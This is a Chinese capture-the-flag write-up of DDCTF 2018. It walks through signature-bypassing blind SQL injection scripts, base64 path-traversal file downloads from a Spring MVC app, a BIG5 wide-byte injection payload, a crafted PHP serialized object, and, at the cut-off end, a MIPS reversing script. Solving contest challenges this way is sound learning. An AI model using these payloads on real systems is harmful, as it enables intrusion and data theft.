又是一年DDCTF

2018041802.jpg

前言

还记得去年的四、五月份参加的DDCTF
混了个名次,蹭了次面试
没想到时间过得这么快,今年的DDCTF现在也比完了
老了老了
这一年我都干了啥.jpg

今年的题比去年的质量好很多,且加上了最有亮点的反作弊系统,每道题每个人的flag不一样,连某些逆向题的源码都不一样,可见十分用心
这次学到了很多,希望这样有质量的比赛能够继承下去

WriteUp

WEB

Web1 - 数据库的秘密

一道前端计算签名然后sql盲注的web题

进去就是非法链接,很明显需要burp抓一下包然后添个HTTP的X-Forwarded-For123.232.23.245

11-25-24.jpg

然后我们将得到一个很常规的查询界面

11-27-43.jpg

从源码来看传了四个参数过去分别是idtitledateauthor

11-30-07.jpg

如果我们随便POST一个 id=1&author=asd&date=1&title=s会提示param error
那么很有可能用JS搞了些事情了,找到页面中引用的JS文件——main.jsmath.js查看submit()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function signGenerate(obj, key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
console.log(str0)
console.log(key)
return hex_math_enc(str0 + key)
};
var obj = {
id: '',
title: '',
author: '',
date: '',
time: parseInt(new Date().getTime() / 1000)
};
function submitt() {
obj['id'] = document.getElementById('id').value;
obj['title'] = document.getElementById('title').value;
obj['author'] = document.getElementById('author').value;
obj['date'] = document.getElementById('date').value;
var sign = signGenerate(obj, key);
document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
document.getElementById('queryForm').submit()
}

很明显给传递的参数+时间戳数组签了个名 然后将from的地址改为index.php?sig=" + sign + "&time=" + obj.time;
说明它需要把参数+时间戳的签名算对了,然后再POST到一个加上sigtime的地址才能传递参数
我们可以把脚本下载下来,在本地搭一个环境,然后做一些改动如输出签名和时间戳,然后我们再去burp重放一下就能测试哪个参数存在注入漏洞了
在签名函数return签名之前,我们将一些主要信息输出,方便测试

1
2
3
4
console.log(obj)
console.log("time:"+obj.time)
console.log("sig:"+hex_math_enc(str0 + key))
return hex_math_enc(str0 + key)

这里有个小技巧,因为author参数是hidden的,所以我们可以把它变成text,本地方便我们输入测试得到签名

12-07-07.jpg

效果如下

12-07-41.jpg

得到签名之后我们再去burp重放一下就好了
后面我测试得author填单引号的时候界面的数据没了,很明显这个参数可能存在注入

12-13-01.jpg

尝试基本的' or 1 #

12-14-47.jpg

那么可以确定存在author这个参数存在注入了
再测试一下联合注入啥的,会被假狗waf掉,我直接是选择了盲注,也没啥大问题
我的脚本是选择的PyV8库来运行JS脚本
将签名的函数提取出来,然后通过PyV8库包装成一个py函数就能得到签名了
Python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
# coding:utf-8
import requests, PyV8
#用PyV8将JS签名函数包装成一个PY函数
def js(author='', date='', id='', title=''):
ctxt = PyV8.JSContext()
ctxt.enter()
ctxt.locals.author_wz = author
ctxt.locals.date_wz = date
ctxt.locals.id_wz = id
ctxt.locals.title_wz = title
ctxt.locals.key = "adrefkfweodfsdpiru"
func = ctxt.eval(
'''
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_math_enc(s) {
return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
return binb2str(core_hmac_math_enc(key, data));
}
/*
* Perform a simple self-test to see if the VM is working
*/
function math_enc_vm_test() {
return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
* Calculate the SHA-1 of an array of big-endian words, and a bit length
*/
function core_math_enc(x, len) {
/* append padding */
x[len >> 5] |= 0x80 << (24 - len % 32);
x[((len + 64 >> 9) << 4) + 15] = len;
var w = Array(80);
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
var e = -1009589776;
for (var i = 0; i < x.length; i += 16) {
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
var olde = e;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = x[i + j];
else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
e = d;
d = c;
c = rol(b, 30);
b = a;
a = t;
}
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
e = safe_add(e, olde);
}
return Array(a, b, c, d, e);
}
/*
* Perform the appropriate triplet combination function for the current
* iteration
*/
function math_enc_ft(t, b, c, d) {
if (t < 20) return (b & c) | ((~b) & d);
if (t < 40) return b ^ c ^ d;
if (t < 60) return (b & c) | (b & d) | (c & d);
return b ^ c ^ d;
}
/*
* Determine the appropriate additive constant for the current iteration
*/
function math_enc_kt(t) {
return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
* Calculate the HMAC-SHA1 of a key and some data
*/
function core_hmac_math_enc(key, data) {
var bkey = str2binb(key);
if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
var ipad = Array(16),
opad = Array(16);
for (var i = 0; i < 16; i++) {
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y) {
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function rol(num, cnt) {
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert an 8-bit or 16-bit string to an array of big-endian words
* In 8-bit function, characters >255 have their hi-byte silently ignored.
*/
function str2binb(str) {
var bin = Array();
var mask = (1 << chrsz) - 1;
for (var i = 0; i < str.length * chrsz; i += chrsz)
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
return bin;
}
/*
* Convert an array of big-endian words to a string
*/
function binb2str(bin) {
var str = "";
var mask = (1 << chrsz) - 1;
for (var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
return str;
}
/*
* Convert an array of big-endian words to a hex string.
*/
function binb2hex(binarray) {
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for (var i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
}
return str;
}
/*
* Convert an array of big-endian words to a base-64 string
*/
function binb2b64(binarray) {
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for (var i = 0; i < binarray.length * 4; i += 3) {
var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
}
}
return str;
}
var obj = {
id: id_wz,
title: title_wz,
author: author_wz,
date: date_wz,
//time : times
time : parseInt(new Date().getTime() / 1000-100)
};
function signGenerate(obj,key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
(signGenerate(obj,key));
''')
vars = ctxt.locals
return func, vars.obj.time, vars.id_wz, vars.author_wz, vars.date_wz, vars.title_wz
url = 'http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php'
hea = {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
"X-forwarded-for": "123.232.23.245"}
l = [1, 2, 4, 8, 16, 32, 64]
payload = '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
# '\'and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1))&{} #'
# information_schema
# ddctf
# '\'and ord(mid((select table_name from information_schema.tables where table_schema like 0x6464637466 limit {},1),{},1))&{} #'
# ctf_key5
# '\'and ord(mid((select column_name from information_schema.columns where table_name like 0x6374665f6b657935 limit {},1),{},1))&{} #'
# secvalue
# '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
# DDCTF{ZJKGOFGPHSLJHIYG}
str1 = ""
for t in range(100):#limit offset
str1 = ""
for j in range(1, 100):#string offset
n = 0
for i in l:# 按位与
para = js(author=payload.format(t, j, i))
pad = "?sig=" + str(para[0]) + "&time=" + str(para[1])
data = {'id': para[2], 'author': para[3], 'date': para[4], 'title': para[5], 'time': str(para[1])}
# 2420
result = requests.post(url + pad, headers=hea, data=data).text
if len(result) == 2420:
n += i
length = len(str1)
str1 += chr(n) if n != 0 else ""
print str1
if length == len(str1):
break

这个方法有一点要注意,就是PyV8JS脚本中的new Date().getTime() / 1000会与服务器或者浏览器获取的时间有误差,会快那么个一两百,当时我写完之后就一直提示time error,花了接近三个小时Debug,最后对比从浏览器获取的时间发现快了一两百秒,然后我就默默的手动加上了一句-300就成功了。这次复现又变成-100才能正确了,这是一个坑点2333
看到有的师傅是直接把源码下载到本地然后搭好本地环境,写一个本地的php脚本,接受那几个参数,然后通过curl这类函数将得到的参数进行转发,然后用sqlmap直接渗透本地的php。这个思路也很行。(想起来有好久都没有用过sqlmap了)

Web2 - 专属链接

这一题很不错,脑洞很大,但是不失度
主要还是对jsp这方面接触很少,而且本学期才开始学的java,2333
但是由于语法跟C++差不多,多多少少还是能看懂的
说题目吧
首先是一个静态页面,啥也找不出来,卡了很久

13-49-53.jpg

一开始顺着提示——专属登录链接,然后再源码里面找到了<meta property="qc:admins" content="36510766376011725352163757752314571645060454"/>还以为什么QQ平台第三方登录漏洞什么的,后来发现是纯粹浪费时间= =
首页源码提示<!--/flag/testflag/yourflag-->

21-36-06.jpg

访问之

21-37-04.jpg

提示java.lang.ArrayIndexOutOfBoundsException
尝试了很久得出这样的一个访问链接http://116.85.48.102:5050/flag/testflag/{fasfasf}
得到下列错误

1
2
3
4
java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
java.base/java.lang.Long.parseLong(Long.java:692)
java.base/java.lang.Long.valueOf(Long.java:1144)
com.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36)

我们只能得到有个com.didichuxing.ctf.controller.user.FlagController这个类名,还有这个大括号里面是要求一个long
然后我尝试爆破long,失败,毕竟long这么大,还以为是啥小点的数,因为实在是没啥思路

后来发现这个提示——“专属登录链接”的作用是叫你访问http://116.85.48.102:5050/login

13-53-04.jpg

然后找到一个废弃的登录页面,一点用也没有的那种
而且这个博客的名字看起来就像乱写的而且没啥特征,看起来去google找也不会找到啥信息
然而事实是Github上还真的有源码https://github.com/xingfly/SBlog
源码目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
─src
└─main
├─java
│ └─com
│ └─xingfly
│ ├─controller
│ │ ├─admin
│ │ └─user
│ ├─dao
│ ├─interceptor
│ ├─model
│ │ └─dto
│ ├─service
│ │ └─impl
│ └─util
├─resources
│ ├─mapper
│ │ AboutMapper.xml
│ │ ArticleMapper.xml
│ │ CategoryMapper.xml
│ │ UserMapper.xml
│ │ WebAppMapper.xml
│ ├─mybatis
│ │ config.xml
│ └─properties
│ db.properties
└─webapp
├─images
├─static
└─WEB-INF
│ applicationContext.xml
│ mvc-dispatcher-servlet.xml
│ web.xml
└─pages
├─admin
│ ├─about
│ ├─article
│ ├─category
│ ├─home
│ ├─init
│ └─user
├─common
└─user

而在首页,图标出现了奇怪的缺失纹路
21-55-22.jpg
找到对应的ico地址

21-56-23.jpg

下载下来查看发现这个脑洞,emmmm,说实话在比赛的时候我是没有发现的

21-57-42.jpg

然后我们可以知道这个链接就是通往flag的地方了
http://116.85.48.102:5050/image/banner/ZmF2aWNvbi5pY28=
ZmF2aWNvbi5pY28=base64解码之后favicon.ico
我们结合源码目录和这个路径尝试文件下载
查资料发现springmvc+mybatis的访问根目库是在webapp
所以尝试下载../../WEB-INF/applicationContext.xml,访问http://116.85.48.102:5050/image/banner/Li4vLi4vV0VCLUlORi9hcHBsaWNhdGlvbkNvbnRleHQueG1s,发现下载成功
然后搜索一下SpringMVC目录结构,由上面得到的com.didichuxing.ctf.controller.user.FlagController尝试下载class目录下的FlagController类。同样地将../../WEB-INF/classes/com/didichuxing/ctf/model/Flagcontroler.classbase64转码然后拼接url访问得到源码
丢进jd-gui看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
@RestController
@RequestMapping({"flag"})
public class FlagController
{
@Autowired
private FlagService flagService;
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = this.flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}
@RequestMapping({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = this.flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
}

找到了我们之前访问/flag/testflag/{asdf}的逻辑了
很明显要得到flag就要看一个flagService.getFlagByEmail()函数以及知道参数email是啥,我们按照上面的方法继续读取flagService类和flag类下来,然后发现flagService类是一个public abstract interface类,就很迷,里面啥代码都没有(其实在对应的mapper.xml里面)
将里面的这三个文件下载下来进行分析
10-33-28.jpg
applicationContext.xml找到初始化类,下载之

10-48-17.jpg

找到flag加密代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
try{
this.flagService.deleteAll();
String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
String[] emails = emailsString.trim().split("\n");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, this.p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", this.p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(1, key);
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
SecureRandom sr = new SecureRandom();
for (String email : emails) {
String flag = "DDCTF{" + Math.abs(sr.nextLong()) + "}";
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte[] data = cipher.doFinal(flag.getBytes());
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
this.flagService.save(flago);
System.out.println(email + "同学的入口链接为:http://116.85.48.102:5050/welcom/" + uuid);
id++;
System.out.println(flago);
}
}

大概意思是取/WEB-INF/classes/emails.txt里面的email然后用密钥sdl welcome you !和加密算法HmacSHA256进行加密,得到flag类里面的email,未加密的emailOriginFlag
然后将/WEB-INF/classes/sdl.ks文件中提取出来的私钥对一个随机的flag进行签名,然后转为十六进制后存进数据库
那么我们的思路就很简单了

  1. 找到属于我的email
  2. 通过加密算法HmacSHA256和密钥sdl welcome you !对email进行加密
  3. 结合刚才我们在com.didichuxing.ctf.controller.user.FlagController里面发现的代码逻辑,将第2步得到的email加密值给POST/flag/getflag/加密的email下,得到加密后的flag
  4. 同样的方法下载/WEB-INF/classes/sdl.ks,然后提取出公钥,对签名后的flag进行解密

然后我第1步就卡住了= =
我尝试了很多个email,包括我自己的平台注册emailxxx@didichuxing.com这种
然后经Wfox师傅提醒是首页的一个长的离谱的email才反应过来这个骚套路
就是这货

11-01-58.jpg 11-02-08.jpg

然后我们可以直接到这个网站(http://tool.oschina.net/encrypt)进行HmacSHA256加密

11-03-22.jpg

burp POST过去,不出意外地得到了签名后的flag

11-08-59.jpg

然后就是提取公钥解密这个flag了
java这边有点吃力,写了挺久才得到正确解,主要还是这个KeyStore文件提取不了解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.security.Key;
import java.security.KeyStore;
import javax.crypto.Cipher;
import java.io.FileInputStream;
public class test {
static String p;
public static void main(String[] args) throws Exception {
p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
String ksPath = "Path_to_classes_sdl.ks";
byte[] data = hex2Bytes("Your_Encrypted_Flag_HASH_HEX");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Cipher cipher1 = Cipher.getInstance(key.getAlgorithm());
Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
cipher1.init(Cipher.DECRYPT_MODE, pubKey);
byte[] f = cipher1.doFinal(data);
System.out.println(byte2hex(f));
}
public static String byte2hex(byte[] b) {
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
public static byte[] hex2Bytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}

得到输出44444354467B333631343538353036323532393832353737337D

1
2
"44444354467B333631343538353036323532393832353737337D".decode("hex")
DDCTF{3614585062529825773}

这一题比较的脑洞,也比较考验jsp这边的经验,也难怪卡了这么久

Web3 - 注入的奥妙

题目提示得很明显,Sql注入
然后进去就是一个标准的注入套路,还有注入回显

11-44-20.jpg

url是这种http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/1,应该是经过重写的一个参数传递方式
测试了几个常规的payload,发现应该是用addslashes等函数过滤的,特殊字符加了反斜杠转义
由于页面提示得那么明显,我们直接尝试宽字节注入
这个网址挺不错的,可以将十六进制数直接变成各个编码对应的字
http://www.qqxiuzi.cn/bianma/zifuji.php

我们随便选几个会出现宽字节注入的编码(GBK2312不行,因为它低字节没有5C)
12-26-22.jpg
测试到BIG5编码(没做这题之前并不知道这个编码)

12-27-55.jpg

然后测试这样的payload——綅'or%201%23

12-30-36.jpg

发现成功转义了反斜杠,逃逸出了单引号
稍后我们再结合源码解释一下为什么会出现这样的效果
毕竟写文章是为了总结,不仅仅是为了记录姿势是吧(大佬们可以跳过此环节)
然后我们就可以进行常规的注入了
我直接拿来Web1的盲注脚本直接用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding:utf-8
import requests,urllib
url = 'http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/1'
hea = {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
"X-forwarded-for": "123.232.23.245"}
payload = "綅'and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1))&{}#"
#information_schema,sqli 0x73716c69
# payload = "綅'and ord(mid((select table_name from information_schema.tables where table_schema lilikeke 0x73716c69 limit {},1),{},1))&{}#"
#route_rules 0x726f7574655f72756c6573,message 0x6d657373616765
# id,pattern,action,rulepass
# payload = "綅'and ord(mid((select column_name from information_schema.columns where table_name lilikeke 0x6d657373616765 limit {},1),{},1))&{} #"
#contents,id,name
l = [1, 2, 4, 8, 16, 32, 64]
str1 = ""
for t in range(1000):
str1 = ""
for j in range(1, 1000):
n = 0
for i in l:
payload = "綅'and ord(mid((select group_concat(rulepass) from sqli.route_rules limit {},1),{},1))&{}#"
result = requests.get(url + urllib.quote(payload.format(t, j, i))).text
# print result
if "test1" in result:
n += i
length = len(str1)
str1 += chr(n) if n!=0 else ""
print str1
if length ==len(str1):
break

得到sqli.route_rules表的所有信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
id
1,12,13,15
rulepass
cd4229e671a8830debfcbb049a23399c,5ed16f9c7c27cb846eaf15c19fe40093,3228ad498d5a20d1d22d6a4a15fed4d2
action
Well#getmessage,JustTry#self , JustTry#try , static/bootstrap/css/backup.zip
pattern
get*/ u/well/getmessage/ s
get*/ u/justtry/self/ s
post*/ u/justtry/try 2

于是我们直接下载到了源码备份static/bootstrap/css/backup.zip
注意到Test
14-52-38.jpg
14-53-09.jpg
以及Justtry类的try方法

14-54-39.jpg

看得出来出题人偷懒了,直接给了我们一个提示,我们只需要构造好序列化字符串给try函数启动Test类的析构函数就能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Test
{
public $user_uuid;
public $fl;
public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}
public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{
$user = array(
'name' => $m,
'oldid' => $o,
'id' => $u
);
echo $this->fl->set($user, 2);
}
}
class Flag
{
public $sql;
}
class SQL
{
}
$testzero = new Test();
$testzero->user_uuid="05069d93-1384-4097-a7e7-047658cacbfa";
$testzero->fl=new Flag();
$testzero->fl->sql = new SQL();
$serialize = serialize($testzero);
echo $serialize;
?>

然后我们将序列化之后的字符串POST/justtry/try目录

1
hhkjjhkhjkhjkhkjhkhkhkO:4:"Test":2:{s:9:"user_uuid";s:36:"05069d93-1384-4097-a7e7-047658cacbfa";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}}

恩,发现是没反应的

17-48-08.jpg

于是我再次卡了挺久,经师傅提醒才发现,类名需要带上路径,一口老血
修改成这个样子就好了

1
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"05069d93-1384-4097-a7e7-047658cacbfa";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

成功获取flag

17-50-01.jpg

宽字节注入漏洞原理 看这篇文章

逆向

逆向1 - MIPS

这题是我在web没思路期间做的,比较坑人,而且自己的姿势也不够多,导致用了笨方法,消耗了很多时间
题目是一个mips的elf文件,逻辑主要输你输入16个值,然后经过检验之后你输入的值就是flag,然后帮你输出
在ubuntu下装qemu折腾了好久才运行起来,但是无论你输入啥都会段错误
那肯定是加了花,但是一般加花程序也能运行,只是混淆了反编译器的反编译代码,但是这次的花把自己给加到段错误不能运行了,我是很服气的,导致我纠结了很久是不是类似于栈溢出跳转到别的地方执行之类的骚套路。事实证明他只是加花把自己加死了= =
先分析一下这个花

20-50-39.jpg

在程序检验flag的流程里,出现了这种无法指执行的指令如jalx 0xDAC0BACsh $sp, 0x2EB($t7)、甚至是不是指令的垃圾数据.word 0x54F102EB
但是他们都有一个共同点,就是将指令变成数据之后,他们的较低位的两字节都是02EB

20-54-20.jpg

所以这题的预期解法应该是把这些较低字节为02EB的垃圾数据清除后再运行程序,就会很清楚地看到16个检验循环,进而得到16个等式构成一个方程组解出16个变量,即flag
而我就比较牛逼
由于缺乏这种去花常识,我直接用python解析ida的代码,用自己的逻辑跳过垃圾指令,从而自己得出方程(这就是一个笨方法)
首先将存进栈内的256个检验变量计算出来,所以我们将IDA反汇编的代码从地址0x40042C0x40187C复制出来放到load.txt,然后将地址0x4018800x403210的代码放到loop.txt中,然后运行这个python脚本就好了.
switch=1分析load,等于0则分析loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import re
fp = [0] * 256
instructionList = ["lui", "sra", "li", "sw", "lw", "xori", "ori", "sll", "negu", "mul", 'addu', 'subu', 'beq']
def sra(v0, offset):
t = 0
num2bytes = bin(v0)[2:].zfill(32)
while t < offset:
n = (0x80000000 if num2bytes[0] == '1' else 0)
v0 = ((v0 >> 1) | n)
t += 1
return v0
def li(v0, immidiateNum):
if isinstance(immidiateNum, str):
if '0x' in immidiateNum:
immidiateNum = int(immidiateNum, 16)
else:
immidiateNum = int(immidiateNum)
return immidiateNum
def lui(v0, immidiateNum):
return immidiateNum << 16
def sll(v0, offset):
return (v0 << offset) & 0xffffffff
def xor(v0, v1):
return (v0 ^ v1) & 0xffffffff
def ori(v0, v1):
return (v0 | v1) & 0xffffffff
def negu(v0):
num2bytes = bin(v0)[2:].zfill(32)
return int("".join(map(lambda x: "0" if x == "1" else "1", num2bytes)), 2) + 1
def sw(v0, offset):
if isinstance(offset, str):
offset = int(offset, 16)
fp[offset / 4 - 2] = v0
def lw(v0, offset):
return fp[offset / 4 - 2]
def addiu(v0, v1):
return (v0 + v1) & 0xffffffff
def subu(v0, v1):
return (v0 - v1) & 0xffffffff
def mul(v0, v1):
return (v0 * v1) & 0xffffffff
def numeric(immidiateNum):
if isinstance(immidiateNum, str):
if '0x' in immidiateNum:
immidiateNum = int(immidiateNum, 16)
else:
immidiateNum = int(immidiateNum)
return immidiateNum
def isInstruction(line):
try:
if len(line) < 20:
return False
instruction = re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
if instruction not in instructionList:
return False
return True
except Exception, e:
print "Some wrongs occured:", e
print "The line is:", line,
return False
v0 = 0
v1 = 0
a0 = 0
switch = 1
if switch:
f = open(r"C:\Users\windows8.Windows\Desktop\load_r.txt", "r+")
else:
f = open(r"C:\Users\windows8.Windows\Desktop\loop_r.txt", "r+")
lines = f.readlines()
globalV = locals()
if switch:
for line in lines:
if isInstruction(line):
ins = re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
rd = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$(.+?),", line)[0]
if rd not in globalV:
print "Not expect rd:", line,
continue
